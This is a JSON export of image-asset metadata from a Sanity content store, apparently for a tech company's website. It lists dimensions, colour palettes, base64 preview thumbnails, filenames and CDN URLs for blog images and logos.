{"_createdAt":"2023-09-15T11:53:43Z","_id":"image-ff07f8632f02d730619db62085d6289462477d67-3294x1628-png","_rev":"A2l0xGIDux4HKnJ2ZbNHep","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:43Z","assetId":"ff07f8632f02d730619db62085d6289462477d67","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0233415233415233,"height":1628,"width":3294},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABKUlEQVQokW2Ri2oEIQxF5/9/shRaumxXHfN+6FKc2T4WGg4q6E2uyQbvb7ePS++gasxMRIjILJk5nyPHMDNV9YiMCPetXmu97URi5swCgABLHJFjzPufmPeVYsw5xmKOuZWCtRKRuad7qJosQm1EzPkkXzHnXSRbd6TcasXWiEjdM2Lp3VMtmF0k1NIsz6sTs/i8ycsrXq661Qr7TsyrMrMCMNFaa4VasVRqjXsXRCFaIEqpdP3k3n1rDXtnETeLfcdSeu/UGtzKXiqUiqe13h8gLj2zmsV2pDTVUI1DhgDSdjwd9c4P4HEgUmZjtiVeH9MwS9UA4MO27d9Zfp7+IOK/4rOmHY1hVuY1SGYlEubl6GzYX8ziHPavOGJkzrFiZh77Mc9/OWf4BfrwQdRyIYM6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3b4184","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9aaaf2","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcd4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9aaaf2","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5494","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef676e","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connect-properties.png","path":"images/sczeoy4w/production/ff07f8632f02d730619db62085d6289462477d67-3294x1628.png","sha1hash":"ff07f8632f02d730619db62085d6289462477d67","size":87915,"uploadId":"E8PWSFdJfnooZFW1CjEoVUvXa0dbrql3","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff07f8632f02d730619db62085d6289462477d67-3294x1628.png"} {"_createdAt":"2023-05-19T14:28:08Z","_id":"image-ff25227f33571f0ac8b57d28f30acb6fc4206884-1812x978-jpg","_rev":"4JMA3H9bBgAwAcyypHKXrb","_type":"sanity.imageAsset","_updatedAt":"2023-05-19T14:28:08Z","assetId":"ff25227f33571f0ac8b57d28f30acb6fc4206884","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8BW-wrm}v?c-m?t4,01xd9F=zMwO=tme,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.852760736196319,"height":978,"width":1812},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACQQAAICAgEDBAMAAAAAAAAAAAECAwQAEQUHElEGISIxNmGh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAdEQACAgEFAAAAAAAAAAAAAAABAgARAwQhIjFR/9oADAMBAAIRAxEAPwCeyUZ+Pr14LgFdg5Ydw1vHFH1NZoRbq2oIkg0jkLssD4xV1RuWLFzvmlZmRPifHvmMqyvJVbvYnf3g48AVgy9yfUBl5KdvJSGi5687WOP5IGu52ujvDHPT/wDF6v6JH9wxiaNVKFSxc//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3d4a","foreground":"#fff","population":3.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f6430","foreground":"#fff","population":5.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3a89a","foreground":"#000","population":5.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3a89a","foreground":"#000","population":5.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6e4aa","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f8b69","foreground":"#fff","population":1.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2b92f","foreground":"#000","population":1.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"goto-financial-gojek.jpg","path":"images/sczeoy4w/production/ff25227f33571f0ac8b57d28f30acb6fc4206884-1812x978.jpg","sha1hash":"ff25227f33571f0ac8b57d28f30acb6fc4206884","size":1604721,"uploadId":"W0XaH8258415G414KAuPW0oLL5EVUWRf","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff25227f33571f0ac8b57d28f30acb6fc4206884-1812x978.jpg"} {"_createdAt":"2022-11-24T06:27:21Z","_id":"image-ffa3163fad4a9fca27f4cff56f58cc137e41266f-1567x844-jpg","_rev":"RAyRTsSFAoDoj6NvfnATXW","_type":"sanity.imageAsset","_updatedAt":"2022-11-24T06:28:50Z","altText":"Many hands make open source work in Aiven's Open Source Program Office","assetId":"ffa3163fad4a9fca27f4cff56f58cc137e41266f","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBBQYI/8QAIRAAAQQBBAMBAAAAAAAAAAAAAgEDBBEABhIhMQVBURP/xAAVAQEBAAAAAAAAAAAAAAAAAAACAf/EABkRAQEAAwEAAAAAAAAAAAAAAAEAAgMhEf/aAAwDAQACEQMRAD8A6DCAQv8A6LKdVLvbfGUOoXZ82Q7DhSUjoI8/VzTsdF33iDkKNIdF55oSdRVoveXMUPJa0HtOnEIfDxxMdpim1ebtfuGL6dJUhvDa0L5ol+kvDEHI5Iqhf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c242c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f2104","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75727","foreground":"#fff","population":3.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb9a2","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa2c42","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#894c49","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75727","foreground":"#fff","population":3.64,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Open_Source_Program_Office_blog.jpg","path":"images/sczeoy4w/production/ffa3163fad4a9fca27f4cff56f58cc137e41266f-1567x844.jpg","sha1hash":"ffa3163fad4a9fca27f4cff56f58cc137e41266f","size":141014,"title":"Aiven's Open Source Program Office","uploadId":"WkDVOT7TCEm45gAJeynawXlmZ56lq5eT","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffa3163fad4a9fca27f4cff56f58cc137e41266f-1567x844.jpg"} {"_createdAt":"2023-11-09T13:10:00Z","_id":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_rev":"NWrqsLAqXssHXTeZSEzE46","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:10:00Z","assetId":"ffb85312328b66d3c7a00143995222d154b4794e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DEJHK,00IA?b9Z~VxZVYaL-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6941362916006337,"height":631,"width":1700},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIGB//EACAQAAEEAgMAAwAAAAAAAAAAAAIAAQMEBREGEkEyUWH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABwRAQADAAIDAAAAAAAAAAAAAAEAAhEDBCEikf/aAAwDAQACEQMRAD8AruH5LBIcrg0k9cYtvJ8dE/jD+LQeIZ2PK96MIzDYgYXHsW2Ni+0RA0KmkoLNnzJWcueLsS1Kjs8YE++w++oiJK9cwyz9hW5fZ0J//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42322b","foreground":"#fff","population":3.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72371b","foreground":"#fff","population":3.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ebbe9c","foreground":"#000","population":4.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abbece","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebbe9c","foreground":"#000","population":4.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96664f","foreground":"#fff","population":1.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af8153","foreground":"#fff","population":3.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo-unternehmen-kultur (1).jpg","path":"images/sczeoy4w/production/ffb85312328b66d3c7a00143995222d154b4794e-1700x631.jpg","sha1hash":"ffb85312328b66d3c7a00143995222d154b4794e","size":199500,"uploadId":"gPSvfLG0UTN4icP53BwDxqgaj0PZyxLq","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffb85312328b66d3c7a00143995222d154b4794e-1700x631.jpg"} {"_createdAt":"2022-10-03T10:31:32Z","_id":"image-ffeee0d3dee814dfa905711ea0a7ded38ab68e0b-1280x720-jpg","_rev":"vDQRRYe9nRreptIRp9y1oW","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:32Z","assetId":"ffeee0d3dee814dfa905711ea0a7ded38ab68e0b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgUI/8QAIhAAAQMCBgMAAAAAAAAAAAAAAgABAxFREiIzNEFSIzEy/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECBP/EABkRAQACAwAAAAAAAAAAAAAAAAABEQMTQf/aAAwDAQACEQMRAD8A6QKSV2Csbavbi6kSmGtI/cvbi6QAicWqRbi6viKj5i3F3Str08aERTs8njb7emZCRjIsc2YtR+UItM4X/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#666566","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d40434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e2144b","foreground":"#fff","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2a5ac","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#75dbf3","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#526fa6","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2144b","foreground":"#fff","population":2.41,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"redis-connect.jpg","path":"images/sczeoy4w/production/ffeee0d3dee814dfa905711ea0a7ded38ab68e0b-1280x720.jpg","sha1hash":"ffeee0d3dee814dfa905711ea0a7ded38ab68e0b","size":87820,"uploadId":"jX9TcEu7oZOVEqwOaAxb2gTK6qwHZjwn","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffeee0d3dee814dfa905711ea0a7ded38ab68e0b-1280x720.jpg"} {"_createdAt":"2024-11-18T10:15:44Z","_id":"image-ac64d276720ec74bd1f4444d9de0c4aba00cc3a6-2118x1188-png","_rev":"0o8A0z95xuC5gZ4UPRrcHn","_type":"sanity.imageAsset","_updatedAt":"2024-11-18T10:15:44Z","assetId":"ac64d276720ec74bd1f4444d9de0c4aba00cc3a6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMEnVs{t^3]xRjW.jZxHoIR%0cBY9sF#s=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7828282828282829,"height":1188,"width":2118},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTklEQVR4nGNggIL/DAyMEPyfkV88VFFIIrRaRDJ0v5Bk+CkB8dBTvGIhp3nFQs9IK8YesXcubi0q6lGDaPzP+P//f0YGBhAG86EG1TMwQXA9k4R8rKaUbPRkJZWE+8rqKW8lFePfCktHvxOQjHonq5b0xMWzYm55+WRdkEH19f+ZQkP/M4eGrmIGG/y/kkH8Xy6DzP9iBsX/FexKZ+uTVfwCJwdqGhZv1jfJ+2hqXfRH3yzvr7J22l8xhfg/8hopn7y8ila3lLWYzZ79SKip47l2fe8bi/ruZ1oV7R8EGf6XMbj+L2WI/F/ClP2nlK3wbH18WX7OuqVWrr0PTG3Lftm6Vv6zciz/p2GQ/U9UPuGfkmbij5TA5MNbKlOS50y4FNo04eOk5gnvNzRP+NDfMuFTMMjAxP/lDJ3/SxmX/i1jX3epLmhbddHaGzbuk79rGhX+0zMr/K9rUvBfSSPtv5hc/H9NnaS/DZHBz07XhW5b1H9oa+ukzw9aJn380jb5y522yZ/XMvwvZSj+X86w/H854/G/5Sznb9e6nGsqWnTf3HHCd2nV3H9y6vn/DQ2y/nubhf53Mgj9b2Wc9L8nxu/rubrAh0v69jwEGdYy8eOf1smfP7RO+nQF5MIp/8oZjv4rZ3z0v4Lx3pNa4501WTN3GFr3PlfQLP5raFbzL9ar8P/EcI//ZR4e/90sE/+0RwU9OlsXtGVh/6EtrZM/32+d9PFz25TPd1omflzL8L+coRfkwr/lDDv+VzCuflspV5YW2lKqatB41sS44E+Kb+6/1vj8/5NS0/9l+KT+szXP+ZQdkLJlX0V89MwJF4KbJ36a0Dzx3brWSR96Wyd9CmL4X8Fg/r+cweZ3OYPD/zIWq1d50qpGRqU+cppV+53NM3+1hgT9nZCS/S8/ddZfN+/Jf/TM6p56uNX0NmU2adbXXxGq736jVdv/3Lyp/40mJJbrGVhgeH+9PUuoViibtGqtubxm7Wxr4/xzGa5RVzP9im75BMy7Z2Q/45GmSdtZW9fu0uiUWTKQNLiKGZQOQWxIOgQlalDihmIGhnomUa16CXm1eg91naoMPb3yCl3d6g5V3ebpcppNy5T1muZZu3VFhSbOFYXkDpAhiJwCANWBlPwWVpS8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383465","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c310a","foreground":"#fff","population":1.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6e06","foreground":"#fff","population":7.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4b0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc54","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f66a8","foreground":"#fff","population":2.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6e06","foreground":"#fff","population":7.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hero-predicting-data-ai-revolution.png","path":"images/sczeoy4w/production/ac64d276720ec74bd1f4444d9de0c4aba00cc3a6-2118x1188.png","sha1hash":"ac64d276720ec74bd1f4444d9de0c4aba00cc3a6","size":160410,"uploadId":"bqpfSvYIkIOr1ThL3cZVd4WNDi1XnEnG","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac64d276720ec74bd1f4444d9de0c4aba00cc3a6-2118x1188.png"} {"_createdAt":"2024-05-06T14:54:43Z","_id":"image-298e82c33737b7ee9cffe6d017664f726e2d44b9-919x227-svg","_rev":"eaCZ7mIhmiYZX5KGqSavpP","_type":"sanity.imageAsset","_updatedAt":"2024-09-09T13:14:22Z","altText":"Helthjem logo","assetId":"298e82c33737b7ee9cffe6d017664f726e2d44b9","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DfI3]D5E=@}:a#EOs.I@R-WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.048458149779735,"height":227,"width":919},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcElEQVQYlT2PPUtbYRiGj2iJa0XFD6poKYoKxedE25jje7/ve3I+GolNkCC6SKG0m9IKKoVCp44iYju0W7pIsfDk/AKFIJ3SHyB0yiC4+JD8AIkEh2u4l4vrduIYR8bHmTLYUQajsHikLHqVRbcycPwcujJKp0oFlar/XEg1E0oJU48wdQtTlzA5D1TJcU72Mn+3t7x/r1fUD1j4sPfSKWUwpgwea4vhLPRMHOP5ry8v527O3NlWQuPC7qgwDQpTnzANCNNQeztXlXTjz9cX/99tLteMj11l9HxbrAzyyiCARd7Tei0Msf79IFO8/u0WWwlFwm4oTK+EKegQCVPoNKt0Xvu2WP/wxru0OewtGz0LiwVlECuDMizKntaFMMTK4celoHHq5loJrQq7G8K0KUzFjsyXKkXOLbufL44XT/ffZitBgNIS9IDx0d+5PA2LGU/rySjC00/vs5NXlfREM6FMpzAtTM+E6YkwjUiVxu4A+/+Zj2nmofsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3f27","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#844a0c","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c3f27","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b08c6c","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eebb77","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab9c55","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7ad12","foreground":"#000","population":0.19,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-helthjem.svg","path":"images/sczeoy4w/production/298e82c33737b7ee9cffe6d017664f726e2d44b9-919x227.svg","sha1hash":"298e82c33737b7ee9cffe6d017664f726e2d44b9","size":10588,"title":null,"uploadId":"XQOr342FtWf37k80kQ9gOcinS0QJoWhi","url":"https://cdn.sanity.io/images/sczeoy4w/production/298e82c33737b7ee9cffe6d017664f726e2d44b9-919x227.svg"} {"_createdAt":"2024-12-11T10:18:21Z","_id":"image-ded3a7a53b08cf87062b5a2726167d70e261833d-1753x1933-png","_rev":"UPIPX87Xr8dUQrGWESXmAF","_type":"sanity.imageAsset","_updatedAt":"2024-12-11T10:18:21Z","assetId":"ded3a7a53b08cf87062b5a2726167d70e261833d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNH1ABxt01IqVDUbjFGZSh=|9GR*%Lw^n+uiW=q]xFNG0|f8=yW-oJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9068804966373513,"height":1933,"width":1753},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADaElEQVR4nJWVX0xbZRjGv5bCBl2hFRb+jFRkjWMj1bg62tLCGQVKN0bZVgsbHW5rlDDinzLnKDGmMV554YWYsHCzJUuIZjHZEr0w8WLeGQ1e7Y54Y2JinDFZSBR3aL+f+cqnK0th7kuenHPec87zPs/7vt85QmyzEMJCLmdFiAqSyU0IdV2MWcTTLny+Sk74GugLddIT7SY42i39Jw8SnnBhGLanI0sequK0t52471Vi4WtEBr4idOJL/KcXCCTGCCXd+KYq/x9ZTljla/taST0/w5j3W+L++zJq/MXRoT8Jjf5KIPE1R5IX8J9pRLCzdRAWZkU1040R0u47pDxrvPJCgZGuAkO9BfpiGzI8+gfBxDJHkkEOJau2redmE4SVrKNevl33Opca7sl0a54JjyThfUjc/zuxvp9l37Hf6Bn9juCpM7IrVasbZ9me8IpoklerMmTsq0zXF7jYWiDl+YWE9zOGwx8y2H+dyPDnGCNniw3KPYkwK1xkreeZs/3IbI3JpXqTdMv3TLZNMhLwEI10EYmeJDJ0mMFz9h3rqEjlm2IXWRFk3nKTq7b7ZGoeyjecPzDTcJYpV52MxXZhGE4MY4+aTfHEpigL83v28p51nHnLF8zZfuLd6ntkHB8wW+vhVrJiW5uPL8AGVLPyTR3XjDZyNcfJ2t5nbvcilx1XyDR2sjRVWSQEy78Q5RZQCTQBncCL/L3WwcqSm6Voh1wcCMgbqQAryx2sre0F6kpQAzyyrrOojM8AIeA4cAyIA92Ypg/T7GFjY0jH+oEIMKCfbwd2/6e0hFCpiwHDgHr5Avl8mnxeHaeBt4AZIA1c1pgAOoCqLdY1qZLfpVUo0iRwHrgITBYTwDlgXJOq2CDQrASVbYiUslXb6JVSBoAeba+3aFvdM82wlNJQ51LKg1LK2rKN0SrtgBvYDzyr4SlifX0ztr6uanZAx5uLU7EDoeq0QzfIqbOrUji4e9fJ4rJLrq6qmFPH7fqdsoQVmqAN8Co7WkULt284Ge/eT6z/JRYWnnvMRb0iLadODbWascO6bkd1PQ9wK9ckx7wBTvXG5ScfBzDNl4Ew4AdUgkdjU0KqRkcNqSLdp9HCgwcubr5jJ+VuZiLczqcftegRU/dVDZX18r+E0u20BepLVNznwqq3XSm2KPsHnuAtS9CBu6cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c443c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#580807","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6a11","foreground":"#fff","population":5.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa493b","foreground":"#fff","population":2.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8b7b","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6a11","foreground":"#fff","population":5.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster Program Hero Image.png","path":"images/sczeoy4w/production/ded3a7a53b08cf87062b5a2726167d70e261833d-1753x1933.png","sha1hash":"ded3a7a53b08cf87062b5a2726167d70e261833d","size":153836,"uploadId":"Z7kI189btYFysTQs9ad3He295eD41fhr","url":"https://cdn.sanity.io/images/sczeoy4w/production/ded3a7a53b08cf87062b5a2726167d70e261833d-1753x1933.png"} {"_createdAt":"2024-11-22T12:15:08Z","_id":"image-6772981f3892dc007cd0e07dbc42d40a4d17725d-1200x630-jpg","_rev":"kXxs8oM5xmhZ4H9SjVuavZ","_type":"sanity.imageAsset","_updatedAt":"2024-11-22T12:15:08Z","assetId":"6772981f3892dc007cd0e07dbc42d40a4d17725d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5ATEeGLt8z,9LyE-iG1Marp01vxs9p1oZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBBgf/xAAhEAACAQQCAgMAAAAAAAAAAAABAgMABAUREhQhQTFRYf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAbEQACAwEBAQAAAAAAAAAAAAABAgADERIhMf/aAAwDAQACEQMRAD8AzDHdCPExSTrDriOXgE1EVkstkJbBdK8jBWb6AqubPQjGzrdM7KRxj1UOwXn8b8VpUq7X7kX64bI0y0cKTRBU0TEpbXtvZopfcszSksxJ/TRVCgsa1LH3IOwKGIE//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4475","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042681","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7d7e3","foreground":"#000","population":6.91,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7d7e3","foreground":"#000","population":6.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7681de","foreground":"#fff","population":6.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a5da5","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c36326","foreground":"#fff","population":5.89,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Predicting_Data_and AI_Revolution_Meta_SEO_preview_1200x630.jpg","path":"images/sczeoy4w/production/6772981f3892dc007cd0e07dbc42d40a4d17725d-1200x630.jpg","sha1hash":"6772981f3892dc007cd0e07dbc42d40a4d17725d","size":253254,"uploadId":"91oWEfuN3jiAvzRvuKx0qgqNMIexNT1O","url":"https://cdn.sanity.io/images/sczeoy4w/production/6772981f3892dc007cd0e07dbc42d40a4d17725d-1200x630.jpg"} 